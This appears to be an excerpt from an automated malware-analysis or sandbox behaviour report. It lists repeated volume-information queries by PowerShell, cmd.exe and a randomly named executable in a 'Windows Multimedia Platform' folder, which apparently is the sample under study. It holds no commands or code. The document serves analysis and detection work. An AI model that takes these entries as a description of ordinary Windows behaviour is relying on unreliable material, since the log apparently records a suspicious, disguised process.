                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                              Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
